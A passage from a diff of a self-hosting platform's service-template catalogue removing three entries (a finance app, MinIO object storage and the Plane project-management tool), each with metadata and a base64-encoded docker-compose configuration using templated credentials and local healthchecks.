N0Z3JlcwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjMwMDAnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICBjb21tYW5kOiAnYnVuZGxlIGV4ZWMgc2lkZWtpcScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbWF5YmUtZGJ9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBTRUxGX0hPU1RFRD10cnVlCiAgICAgIC0gJ1JBSUxTX0ZPUkNFX1NTTD0ke1JBSUxTX0ZPUkNFX1NTTDotZmFsc2V9JwogICAgICAtICdSQUlMU19BU1NVTUVfU1NMPSR7UkFJTFNfQVNTVU1FX1NTTDotZmFsc2V9JwogICAgICAtICdHT09EX0pPQl9FWEVDVVRJT05fTU9ERT0ke0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFOi1hc3luY30nCiAgICAgIC0gREJfSE9TVD1wb3N0Z3JlcwogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtICdSRURJU19VUkw9cmVkaXM6Ly9kZWZhdWx0OiR7U0VSVklDRV9QQVNTV09SRF9SRURJU31AcmVkaXM6NjM3OS8xJwogICAgICAtICdPUEVOQUlfQUNDRVNTX1RPS0VOPSR7T1BFTkFJX0FDQ0VTU19UT0tFTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ21heWJlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgtYWxwaW5lJwogICAgY29tbWFuZDogJ3JlZGlzLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzIC0tcmVxdWlyZXBhc3MgJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzX2RhdGE6L2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSBSRURJU19EQj0xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogM3MKICAgICAgcmV0cmllczogMwo=",
- "tags": [
- "finances",
- "wallets",
- "coins",
- "stocks",
- "investments",
- "open",
- "source"
- ],
- "category": "productivity",
- "logo": "svgs/maybe.svg",
- "minversion": "0.0.0",
- "port": "3000"
- },
"mealie": {
"documentation": "https://docs.mealie.io/?utm_source=coolify.io",
"slogan": "A recipe manager and meal planner.",
@@ -2850,21 +2830,6 @@
"minversion": "0.0.0",
"port": "8080"
},
- "minio-community-edition": {
- "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io",
- "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.",
- "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "object",
- "storage",
- "server",
- "s3",
- "api"
- ],
- "category": "storage",
- "logo": "svgs/minio.svg",
- "minversion": "0.0.0"
- },
"mixpost": {
"documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io",
"slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.",
@@ -3678,27 +3643,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVT